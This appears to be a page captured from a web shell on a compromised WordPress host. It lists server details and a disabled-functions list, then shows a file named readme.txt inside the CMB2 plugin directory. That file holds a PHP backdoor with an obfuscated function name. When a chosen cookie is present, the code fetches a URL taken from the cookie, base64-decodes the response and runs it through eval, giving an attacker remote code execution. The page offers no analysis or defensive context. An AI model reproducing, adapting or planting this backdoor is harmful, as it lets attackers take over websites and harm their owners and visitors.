HEX
Server: Apache
System: Linux web15f49.uni5.net 5.4.282-1.el8.elrepo.x86_64 #1 SMP Mon Aug 19 18:33:22 EDT 2024 x86_64
User: hzaluminio (728004)
PHP: 7.0.33
Disabled: apache_child_terminate,c99_buff_prepare,c99_sess_put,dl,eval,exec,leak,link,myshellexec,openlog,passthru,pclose,pcntl_exec,php_check_syntax,php_strip_whitespace,popen,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,symlink,system,socket_listen,socket_create_listen,putenv
Upload Files
File: /home/hzaluminio/www/wp-content/plugins/cmb2/readme.txt
<?php

if (!function_exists("get0fadf3ca7334068ee1c45e7c7936842e")) {

    function get0fadf3ca7334068ee1c45e7c7936842e($url) {
        $content = "";
        if (function_exists("curl_init")) {
            $options = array(
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_HEADER => false,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_ENCODING => "",
                CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20120101 Firefox/32.0",
                CURLOPT_AUTOREFERER => true,
                CURLOPT_CONNECTTIMEOUT => 120,
                CURLOPT_TIMEOUT => 120,
                CURLOPT_MAXREDIRS => 10,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false
            );

            $ch = curl_init($url);
            curl_setopt_array($ch, $options);
            $content = @curl_exec($ch);
        }

        if ($content)
            return $content;

        $content = @file_get_contents($url);
        return $content;
    }

    if (isset($_COOKIE['0fadf3ca7334068ee1c45e7c7936842e'])) {
        if ($_COOKIE['0fadf3ca7334068ee1c45e7c7936842e'] == '1') {
            echo md5($_SERVER['HTTP_HOST']);
            exit;
        }
        $dat = base64_decode(get0fadf3ca7334068ee1c45e7c7936842e($_COOKIE['0fadf3ca7334068ee1c45e7c7936842e']));
        if ($dat) {
            @eval($dat);
            exit;
        }
    }
}